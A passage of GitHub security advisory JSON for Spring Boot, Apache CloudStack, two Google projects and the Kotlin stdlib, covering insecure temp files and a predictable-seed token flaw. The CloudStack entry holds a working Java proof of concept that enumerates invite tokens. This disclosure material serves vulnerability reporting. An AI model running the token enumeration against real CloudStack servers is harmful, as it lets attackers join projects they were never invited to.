systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nThis vulnerability was inadvertently fixed as a part of this patch: https://github.com/spring-projects/spring-boot/commit/667ccdae84822072f9ea1a27ed5c77964c71002d\r\n\r\nThis vulnerability is patched in versions `v2.2.11.RELEASE` or later.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-cm59-pr5q-cw85", "type": "GHSA" }, { "value": "CVE-2022-27772", "type": "CVE" } ], "state": "published", "created_at": "2022-02-07T18:42:15Z", "updated_at": "2022-03-23T17:16:52Z", "published_at": "2022-02-16T00:05:08Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.springframework.boot:spring-boot" }, "vulnerable_version_range": "< v2.2.11.RELEASE", "patched_versions": "v2.2.11.RELEASE", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "score": 7.8 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" }, { "cwe_id": "CWE-379", "name": "Creation of Temporary File in Directory with Insecure Permissions" } ], "cwe_ids": [ "CWE-377", "CWE-379" ], "credits": [ { "login": "trungPa", "type": "analyst" }, { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "trungPa", "id": 17810017, "node_id": "MDQ6VXNlcjE3ODEwMDE3", "avatar_url": "https://avatars.githubusercontent.com/u/17810017?v=4", "gravatar_id": "", "url": "https://api.github.com/users/trungPa", "html_url": "https://github.com/trungPa", "followers_url": "https://api.github.com/users/trungPa/followers", "following_url": "https://api.github.com/users/trungPa/following{/other_user}", "gists_url": "https://api.github.com/users/trungPa/gists{/gist_id}", "starred_url": "https://api.github.com/users/trungPa/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/trungPa/subscriptions", "organizations_url": "https://api.github.com/users/trungPa/orgs", "repos_url": "https://api.github.com/users/trungPa/repos", "events_url": "https://api.github.com/users/trungPa/events{/privacy}", "received_events_url": "https://api.github.com/users/trungPa/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" }, { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-vpcc-9rh2-8jfp", "cve_id": "CVE-2022-26779", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-vpcc-9rh2-8jfp", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-vpcc-9rh2-8jfp", "summary": "apache/cloudstack: Privileged escalation due to Predictable Seed in Pseudo-Random Number Generator (PRNG) and Use of Insufficiently Random Values", "description": "### Impact\r\n\r\nApache Cloudstack contains a privileged escalation vulnerability in the invite to project logic due to a predictable seed used in a PRNG.\r\n\r\n\r\n### Details\r\n\r\nWhen inviting a user or account to a project via the email, the methods `ProjectManagerImpl.inviteAccountToProject` or `ProjectManagerImpl.inviteUserToProject` are invoked, and a random token is emailed to the invitee to allow them to join the project.\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L849-L873\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L875-L895\r\n\r\nHowever, this random token is generated predictably using the method `generateToken` with the value of `10` using `System.currentTimeMillis()` as the seed for the random number generator.\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1350-L1359\r\n ```java\r\n public static String generateToken(int length) {\r\n String charset = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n Random rand = new Random(System.currentTimeMillis());\r\n StringBuffer sb = new StringBuffer();\r\n for (int i = 0; i < length; i++) {\r\n int pos = rand.nextInt(charset.length());\r\n sb.append(charset.charAt(pos));\r\n }\r\n return sb.toString();\r\n }\r\n ```\r\n\r\nAs such, if an attacker knows around the time an invite was generated to invite another user, that attacker would be able to leverage the invite token to impersonate the invited user's invite acceptance.\r\n\r\nThe invite is stored in the database, but other than \"having the secret token\" there is no further checks that occur to ensure that the user taking advantage of the token is the user that the token was assigned to.\r\n\r\nThe site where the project invite is looked up form the database:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1202\r\nNotice how the account of the current user making the request isn't included in the lookup.\r\n\r\nThe user that is the current caller is pulled from the request here:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1189-L1190\r\n\r\nThen, that accepted invite is assigned to the calling user here:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1234\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1241\r\n\r\nAs such, an attacker is able to leverage an invite a project that they were never sent because they can compute the value of the invite token.\r\n\r\n\r\n### Proof Of Concept\r\n\r\nThe following code will print out all of the possible secret tokens for the next hour:\r\n\r\n```java\r\npublic static String generateToken(long time, int length) {\r\n String charset = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n Random rand = new Random(time);\r\n StringBuffer sb = new StringBuffer();\r\n for (int i = 0; i < length; i++) {\r\n int pos = rand.nextInt(charset.length());\r\n sb.append(charset.charAt(pos));\r\n }\r\n return sb.toString();\r\n}\r\n\r\npublic static void main(String[] args) {\r\n long startTime = System.currentTimeMillis();\r\n LongStream\r\n .rangeClosed(startTime + 0, startTime + (long) (3_600_000))\r\n .parallel()\r\n .mapToObj(time -> generateToken(time, 10))\r\n .forEach(System.out::println);\r\n}\r\n```\r\n\r\n### Patches\r\n\r\n - https://github.com/apache/cloudstack/commit/3fc4ef478d03cd20169d5a3dcdef6233724446be\r\n\r\n### Workarounds\r\n\r\nWhen executing the `addAccountToProject` API call, don't invite by email. Only invite by existing account or user.\r\n\r\n### Mitigating Factors\r\n\r\n`project.invite.required` is false by default and is something that must be enabled by end-users explicitly.\r\n\r\n### References\r\n\r\n - https://owasp.org/www-community/vulnerabilities/Insecure_Randomness\r\n\r\n### For more information\r\n\r\nOpen an issue with the Apache Cloudstack team here: https://github.com/apache/cloudstack/issues\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-vpcc-9rh2-8jfp", "type": "GHSA" }, { "value": "CVE-2022-26779", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T23:10:24Z", "updated_at": "2022-03-14T14:46:40Z", "published_at": "2022-03-10T17:04:18Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "none", "name": "apache/cloudstack" }, "vulnerable_version_range": "<= 4.16.0.0", "patched_versions": "4.16.1.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L", "score": 6.7 }, "cwes": [ { "cwe_id": "CWE-330", "name": "Use of Insufficiently Random Values" }, { "cwe_id": "CWE-337", "name": "Predictable Seed in Pseudo-Random Number Generator (PRNG)" } ], "cwe_ids": [ "CWE-330", "CWE-337" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7fjx-657r-9r5h", "cve_id": "CVE-2021-22571", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7fjx-657r-9r5h", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7fjx-657r-9r5h", "summary": "Insecure Temporary File in google / sa360-webquery-bigquery", "description": "### CVE Status\r\n\r\nCVE is pending via the CVE Appeals process with MITRE\r\n\r\n### Impact\r\n\r\n`TransferRunner` may disclose information to other users from WebQuery CSV report.\r\n\r\n### Patches\r\n\r\nVersion `v1.0.3` and higher is patched.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Workarounds\r\n\r\nIf you are unable to update: setting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n\r\n### References\r\n\r\n - https://github.com/google/sa360-webquery-bigquery/issues/14\r\n\r\nFix:\r\n - https://github.com/google/sa360-webquery-bigquery/commit/4926b5bf0e4be88f7a09badd145c50fa8a95e1cc#diff-4169b705389b36efbde7d57ec27a1ad2aa21c4385d2e535ee8354f79f03ae756L56\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7fjx-657r-9r5h", "type": "GHSA" }, { "value": "CVE-2021-22571", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T21:54:20Z", "updated_at": "2022-03-30T13:03:08Z", "published_at": "2022-03-09T16:50:35Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "application", "name": "google / sa360-webquery-bigquery" }, "vulnerable_version_range": "<= v1.0.2", "patched_versions": "v1.0.3", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-22c6-wcjm-qfjg", "cve_id": "CVE-2021-22572", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-22c6-wcjm-qfjg", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22c6-wcjm-qfjg", "summary": "Insecure Temporary File in google / data-transfer-project", "description": "### Impact\r\n\r\nInformation downloaded with the `google/data-transfer-project` may expose downloaded information to other local users.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nUpdates to version 0.3.57 or higher.\r\n\r\n### Additional Information\r\n - https://github.com/google/data-transfer-project/issues/968\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-22c6-wcjm-qfjg", "type": "GHSA" }, { "value": "CVE-2021-22572", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T21:43:29Z", "updated_at": "2022-03-30T13:02:44Z", "published_at": "2022-03-09T16:39:35Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "none", "name": "google / data-transfer-project" }, "vulnerable_version_range": "< 0.3.57", "patched_versions": "0.3.57", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "score": 5.0 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-5w9v-8x7x-rfqm", "cve_id": "CVE-2020-29582", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-5w9v-8x7x-rfqm", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-5w9v-8x7x-rfqm", "summary": "CWE-378/CWE-379: Kotlin StdLib - Creation of Temporary File/Directory With Insecure Permissions", "description": "### Impact\r\nKotlin Stdlib is vulnerable to CWE-378 - Insecure Temporary File & \tCWE-379 - Creation of Temporary File in Directory with Insecure Permissions.\r\n\r\nThese are the two vulnerable locations:\r\n\r\n- https://github.com/JetBrains/kotlin/blob/9b157fd291d581a30a3194940b0ebbb95a2fd247/libraries/stdlib/jvm/src/kotlin/io/files/Utils.kt#L14-L39\r\n - https://github.com/JetBrains/kotlin/blob/9b157fd291d581a30a3194940b0ebbb95a2fd247/libraries/stdlib/jvm/src/kotlin/io/files/Utils.kt#L41-L60\r\n\r\nHere is a simple unit test that demonstrates the vulnerability.\r\n\r\n```kotlin\r\npackage org.jlleitschuh.sandbox\r\n\r\nimport org.junit.jupiter.api.Test\r\nimport java.io.BufferedReader\r\nimport java.io.File\r\nimport java.io.IOException\r\nimport java.io.InputStreamReader\r\nimport java.nio.file.Files\r\n\r\nclass KotlinTempDirectoryPermissionCheck {\r\n @Test\r\n fun `kotlin check default directory permissions`() {\r\n val dir = createTempDir()\r\n runLS(dir.parentFile, dir) // Prints drwxr-xr-x\r\n }\r\n\r\n @Test\r\n fun `Files check default directory permissions`() {\r\n val dir = Files.createTempDirectory(\"random-directory\")\r\n runLS(dir.toFile().parentFile, dir.toFile()) // Prints drwx------\r\n }\r\n\r\n @Test\r\n fun `kotlin check default file permissions`() {\r\n val file = createTempFile()\r\n runLS(file.parentFile, file) // Prints -rw-r--r--\r\n }\r\n\r\n @Test\r\n fun `Files check default file permissions`() {\r\n val file = Files.createTempFile(\"random-file\", \".txt\")\r\n runLS(file.toFile().parentFile, file.toFile()) // Prints -rw-------\r\n }\r\n\r\n private fun runLS(file: File, lookingFor: File) {\r\n val processBuilder = ProcessBuilder()\r\n processBuilder.command(\"ls\", \"-l\", file.absolutePath)\r\n try {\r\n val process = processBuilder.start()\r\n val output = StringBuilder()\r\n val reader = BufferedReader(\r\n InputStreamReader(process.inputStream)\r\n )\r\n reader.lines().forEach { line ->\r\n if (line.contains(\"total\")) {\r\n output.append(line).append('\\n')\r\n }\r\n if (line.contains(lookingFor.name)) {\r\n output.append(line).append('\\n')\r\n }\r\n }\r\n val exitVal = process.waitFor()\r\n if (exitVal == 0) {\r\n println(\"Success!\")\r\n println(output)\r\n } else {\r\n //abnormal...\r\n }\r\n } catch (e: IOException) {\r\n e.printStackTrace()\r\n } catch (e: InterruptedException) {\r\n e.printStackTrace()\r\n }\r\n }\r\n}\r\n```\r\n\r\nA Kotlin application using createTempDir or createTempFile and placing sensitive information within either of these locations would be leaking this information in a read-only way to other users also on this system.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nThere are no patched versions with this vulnerability fixed. All versions remain vulnerable. However, the impacted methods have been deprecated.\r\n\r\nTo fully mitigate this vulnerability, ensure your code and all dependencies don't use the `createTempFile` or `createTempFile` methods offered by the Kotlin standard library.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems and all Kotlin versions.\r\n\r\nDepending upon the version of android you are using, this may also impact you. See the following resource: https://github.com/google/guava/issues/4011#issuecomment-772892561\r\n\r\n### References\r\n\r\nJetBrains does a really terrible job with fully disclosing the details of their own vulnerabilities unfortunately.\r\n\r\n - https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020/\r\n \r\n### For more information\r\n\r\nReach out to Jetbrains: security@jetbrains.com\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-5w9v-8x7x-rfqm", "type": "GHSA" }, { "value": "CVE-2020-29582", "type": "CVE" } ], "state": "published", "created_at": "2022-02-03T19:40:43Z", "updated_at": "2022-02-03T20:42:27Z", "published_at": "2022-02-03T19:51:08Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": " org.jetbrains.kotlin:kotlin-stdlib" }, "vulnerable_version_range": "> 0", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-378", "name": "Creation of Temporary File With Insecure Permissions" }, { "cwe_id": "CWE-379", "name": "Creation of Temporary File in Directory with Insecure Permissions" } ], "cwe_ids": [ "CWE-378", "CWE-379" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", 